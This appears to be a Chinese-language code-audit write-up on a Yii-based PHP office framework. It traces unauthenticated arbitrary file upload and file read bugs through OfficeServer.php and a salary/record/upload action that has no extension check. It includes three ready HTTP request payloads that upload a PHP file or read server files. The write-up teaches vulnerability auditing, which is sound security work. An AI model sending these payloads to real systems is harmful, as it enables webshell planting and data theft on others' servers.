0x01 前言
首先祝各位元旦快乐,在新的一年里,各位能够身体健康,心想事成,梦想成真,技术和事业蒸蒸日上!
再次感谢up师傅带我审计和提供相关思路,本文涉及的框架作者也是初学所以有不好之处请见谅。未经过本人同意,本篇文章禁止转发。
首先要看入门文件定位整个网站的的路由,从而在后面观看代码找到漏洞。那么就要先看框架的开发手册。从而也能确认是mvc三层模型。最后system目录是确定总控制目录,modules目录下为模块功能。
二、文件上传+文件读取
文件上传漏洞,在php中一般都是看move_uploaded_file这个函数。全局搜索之后定位到officeserver这个文件
然后观看代码,这里有几个重要的点需要讲解。
1、json_decode()函数,用post请求json格式来访问,并且将获取的 JSON 字符串解析为 PHP 数组。将单引号替换成双引号以免json格式出错
2、$_SERVER["DOCUMENT_ROOT"] 是服务器文档根目录的路径,它表示网站根目录在服务器文件系统中的位置,$de_json->FILEPATH 是从传递的 JSON 数据中提取的文件路径赋值给FILEPATH参数
3、在获取操作命令信息,该信息应该在传递的 JSON 数据中的 "OPTION" 字段中
$FormData = $_REQUEST["FormData"];//获取传过来的json值
$de_json = json_decode(str_replace("'", '"', $FormData));//解析json为数组
$mFilePath = $_SERVER["DOCUMENT_ROOT"] . $de_json->FILEPATH;//要打开的目录和文件名称
$mOption = $de_json->OPTION;
用switch来判断接收的OPTION是否为空,如果等于SAVEFILE,则获取一个name=FileData的文件进行上传。
那么payload构造则是
POST /static/lib/weboffice/js/OfficeServer.php HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="FormData"
{"OPTION":"SAVEFILE","FILEPATH":"/1.php"}
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="FileData"; filename="1.php"
Content-Type: image/jpg
<?php echo md5(1);?>
------------398jnjVTTlDVXHlE7yYnfwBoix
二、文件读取
在看刚刚的文件中,switch中的第一个case
1、先用file_exists这个函数判断文件是否存在,然后再将文件的内容返回到result这个参数中
2、进入到if循环中,用fopen函数将文件以只读二进制模式,用filesize函数获取文件大小,用fread函数获取文件内容,设置响应包的头部信息,再将文件的内容进行echo输出出来
payload:
POST /static/lib/weboffice/js/OfficeServer.php HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="FormData"
{"OPTION":"LOADFILE","FILEPATH":"12.php"}
------------398jnjVTTlDVXHlE7yYnfwBoix
全局搜索move_uploaded_file函数,定位到两个文件并且为extend扩展目录下的文件
路由为system\modules\main\extend,该文件是处理文件上传的逻辑
之后定位到saveFile方法中,大概逻辑为
1、接收两个参数,fileObj和可选参数config,fileObj表示上传文件的对象(应该是 yii\web\UploadedFile 类型)
public static function saveFile($fileObj, $config = []
2、首先检查fileObj是否在yii\web\UploadedFile实例中,如果不是返回false,主要是定义了几个上传的参数,name、tempName,type,size
if(!($fileObj instanceof yii\web\UplocadedFile)){
return false;
}
3、将fileObj储存在类的静态属性$fileObj中
4、获取上传文件的扩展名,并将其存储在类的静态属性 $ext 中
5、但是他这里并没有判断上传文件的扩展名,所以导致该漏洞的上传
self::$fileObj = $fileObj;
//文件扩展名
self::$ext = $fileObj->getExtension();
/*if (!in_array(strtolower(self::$ext), ['jpg', 'jpeg', 'png', 'gif'])) {
return false;
}*/
//生成文件名称
if(!self::generateFileName($config)){
return false;
}
6、最后用saveAs方法保存文件
if(!$fileObj->saveAs(self::$absolutePath)){
return false;
}
在观看saveAs方法,他是一个静态声明的,用于保存上传的文件。并且也是我上面搜索出调用move_uploaded_file函数的方法
1、接收三个参数:分别表示,上传文件的临时路径,保存文件的路径,控制是否在保存文件后删除临时文件默认为True。
2、如果$deleteTempFile参数为True,直接调用move_uploaded_file函数来进行上传
3、否则$deleteTempFile 为 false 且 $tempName 是一个上传的文件,那么使用 copy 函数复制文件到新的路径。这是另一种处理方式,不删除原始的上传文件。
判断出只要调用这个文件就会有文件上传漏洞,那么我们就观看那个文件调用这个system\modules\main\extend,那么就直接定位到system/modules/salary/controllers/RecordController.php这个路由文件。这里要优先寻找Controllers目录下的文件,mvc框架都是controllers为控制器,处理用户输入和相应的逻辑业务。
再来详细讲讲这里的代码,yii框架的一些特征
1、这段代码指定了在执行某些操作时,哪些其他操作应该被忽略或不考虑其依赖关系
2、简单来说就是salary/record/batch-import被操作时,他不受salary/record/index、salary/record/add、salary/record/edit这三个操作的影响。简单来说就是我这三个路由可能会被鉴权,但是我这个salary/record/batch-import路由操作是不会被鉴权。
3、那么salary/record/upload这个操作也是按照上面的意思,不会被salary/record/add、salary/record/edit、salary/record/batch-import这三个操作所影响
public $dependIgnoreList = [
'salary/record/batch-import' => [
'salary/record/index',
'salary/record/add',
'salary/record/edit',
],
'salary/record/upload' => [
//'salary/record/batch-import',
'salary/record/add',
'salary/record/edit',
],
];
下面这串代码
下面则为yii的actions控制器
1、'upload' => [...]: 这表示你正在定义一个名为 upload 的动作。这个名称可以在用户访问控制器时使用,比如在 URL 中调用该动作
2、'class' => \system\modules\main\extend\Upload::className(),: 这行代码指定了用于处理上传的类,即 \system\modules\main\extend\Upload 类。
3、'dir' => 'contacts/template/import',: 这行代码指定了上传文件保存的目录。在这里,文件将被保存到 contacts/template/import 目录中
public function actions()
{
return [
'upload' => [
'class' => \system\modules\main\extend\Upload::className(),
'dir' => 'contacts/template/import',
],
];
}
之后再来定位到upload类中
再upload类中,就发现调用我上面所找的saveFile方法
总结思路:
1、首先寻找move_uploaded_file函数调用的地方,判断文件为上传文件的逻辑处理代码,发现没有文件拓展名限制。
2、之后搜索system/modules/main/extend被谁调用,发现文件重新定义upload的动作,调用system/modules/main/extend/upload的类
3、之后再upload类中,发现又调用saveFile方法。
至此payload:
POST /index.php/salary/record/upload HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpg
<?php echo md5(1)?>
------------398jnjVTTlDVXHlE7yYnfwBoix
证明:
0x03 结尾
感谢看到这里的师傅们,本人新手一个所以审计过程有些粗糙,请见谅。那么再次祝看到这篇文章的师傅们,元旦快乐!新的一年里,技术事业双提升,一眼出洞,分分钟霸榜各src!